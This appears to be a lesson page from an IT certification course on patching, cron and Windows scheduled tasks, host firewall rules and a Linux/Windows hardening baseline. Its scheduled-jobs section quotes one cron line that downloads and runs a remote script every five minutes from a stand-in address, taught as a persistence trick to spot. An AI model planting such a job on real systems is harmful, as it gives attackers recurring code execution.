Module 3 · Linux and Windows Administration · Lesson 9 of 75
Patching, scheduled jobs, host firewalls and hardening
Keep systems patched, control what runs on a schedule, filter traffic on the host, and apply a hardening baseline to Linux and Windows.
In this lesson · about 35 minutes
- Explain why patching is the highest-value control and how to prioritise it
- Read cron entries and Windows scheduled tasks
- Apply a hardening checklist with host firewall rules
Patching
Most successful attacks use vulnerabilities that already have a fix. Patching is boring, and it is the single most valuable thing an admin does.
- Prioritise by exposure (internet-facing first) and by whether the flaw is being exploited right now. The US CISA "Known Exploited Vulnerabilities" list is a good guide (more in Module 13).
- Test on a few machines, then roll out widely. Have a rollback plan.
- Linux:
apt/dnf, plusunattended-upgradesfor security updates. Windows: Windows Update, WSUS or Intune for fleets. - Do not forget firmware, browsers, network devices and third-party apps.
Scheduled jobs
Linux cron lines have five time fields, then the command: 30 2 * * 1 /usr/local/bin/backup.sh runs at 02:30 every Monday (minute, hour, day of month, month, day of week). Look in crontab -l, /etc/crontab, /etc/cron.d/ and systemd timers (systemctl list-timers). On Windows, use Task Scheduler or schtasks. A job that downloads and runs a script from the internet every few minutes, such as */5 * * * * curl -s http://203.0.113.9/x.sh | bash, is a textbook persistence trick.
Host firewalls
- Linux ufw:
sudo ufw default deny incoming,sudo ufw allow from 10.0.5.0/24 to any port 22 proto tcp,sudo ufw enable,sudo ufw status numbered. Underneath sit nftables/iptables. - Windows Defender Firewall: profiles (Domain, Private, Public), managed by Group Policy or
New-NetFirewallRule. - Default to deny inbound, allow only what the machine's job needs, and limit admin ports (SSH, RDP) to admin networks or a VPN.
A hardening baseline
| Area | Linux | Windows |
|---|---|---|
| Accounts | No shared accounts; disable root SSH login; sudo for admins only | Rename or disable built-in Administrator; unique local admin passwords (Windows LAPS) |
| Remote access | SSH keys only (PasswordAuthentication no), fail2ban | RDP only through a gateway or VPN, with Network Level Authentication and MFA |
| Services | Disable what you do not use (systemctl disable) | Disable SMBv1, Print Spooler on servers that do not print |
| Logging | auditd, forward logs to a SIEM | Advanced audit policy, Sysmon, PowerShell logging, forward to a SIEM |
| Protection | AppArmor/SELinux enforcing | Defender with tamper protection, BitLocker, Credential Guard |
Rather than inventing your own list, organisations follow published baselines such as the CIS Benchmarks and Microsoft's security baselines, and check them automatically (Module 24).
Try it · watch it happen
The firewall is a guard with a guest list
Set the default policy and add allow rules, then send test traffic at the server. Make SSH reachable only from the admin network and the website reachable from everyone.
The guard's guest list
Default rule: turn away anyone who isn't on the list (deny incoming).
At the gategate wide open
Performance-based question (PBQ)
Performance task: harden a new web server
A new Ubuntu web server will face the internet. It runs nginx (ports 80 and 443) and is managed over SSH by the admin team from 10.0.5.0/24. The vendor image also left Telnet, FTP and a database listening on all interfaces.
Choose the right action for each item.
- HTTPS on 443
- SSH on 22
- Telnet on 23
- FTP on 21
- MySQL on 3306, used only by the web app on this server
- HTTP on 80 (redirects to HTTPS)
Flashcards
Module 3 flashcards
0 of 11 known
Say the answer out loud, flip the card, then be honest: cards you miss come back at the end.
Practice exam
Module 3 checkpoint
10 questions, 12 minutes.
- 10 questions · 12 minutes
- No feedback until you submit. Flag questions to come back to them.
- Aim for 85% or better before you move on. The real exam's 750 out of 900 is roughly 80–83%.
Written by Noviq Academy in its own words. All labs are simulations: no real systems are touched, and every name, address, password and hash is made up. The offensive techniques taught here are for defending systems and for authorised testing only; never scan, access or test a system without the owner's written permission. Tool and product names belong to their owners, and command output may differ slightly from yours. Read-aloud uses your device's built-in voices.